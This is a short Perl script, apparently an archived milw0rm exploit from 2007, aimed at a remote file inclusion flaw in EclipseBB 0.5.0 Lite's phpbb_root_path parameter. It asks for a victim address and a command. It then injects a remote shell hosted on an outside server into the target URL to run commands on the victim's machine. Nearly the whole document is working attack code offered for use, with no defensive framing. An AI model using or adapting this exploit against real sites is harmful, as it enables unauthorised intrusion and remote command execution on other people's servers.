1 #(C) xoron
2 #
3 # [Bug name: EclipseBB 0.5.0 Lite (phpbb_root_path) Remote File Include Exploit
4 #
5 # [Script Name: EclipseBB 0.5.0 Lite
6 #
7 # [Wrong Codes: require($phpbb_root_path . ’includes/bbcode.’.$phpEx);
8 #
9 $rfi = "functions.php?phpbb_root_path=";
10 $path = "/includes/";
11 $shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
12 print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
13 if($dil eq "English"){
14 print "(c) Mackrulz\n";
15 &ex;
16 }
17 elsif($dil eq "Turkish"){
18 print "Kodlayan xoron\n";
19 &ex;
20 }
21 else {print "Plz Select Languge\n"; exit;}
22 sub ex{
23 $not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
24 and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
25 if $dil eq "English";
26 $not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Ac.k Var Fakat Kod Calismiyor\n"
27 and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
28 if $dil eq "Turkish";
29 print "$vic";
30 $victim = <STDIN>;
31 chop($victim);
32 print "$diz";
33 $dizn = <STDIN>;
34 chop($dizn);
35 $dizin = $dizn;
36 $dizin = "/" if !$dizn;
37 print "$komt";
38 $cmd = <STDIN>;
39 chop($cmd);
40 $cmmd = $cmd;
41 $cmmd = "dir" if !$cmd;
42 $site = $victim;
43 $site = "http://$victim" if !($victim =~ /http/);
44 $acacaz = "$site$dizin$rfi$shell$cmmd";
45 print "(c) xoron − xoron.biz\n$thx: pang0, chaos\n";
46 sleep 3;
47 system("start $acacaz");
48 }
49
50 # milw0rm.com [2007−01−28]
Page 1/1
EclipseBB 0.5.0 Lite phpbb_root_path Remote File Include Exploit
xoron
01/28/2007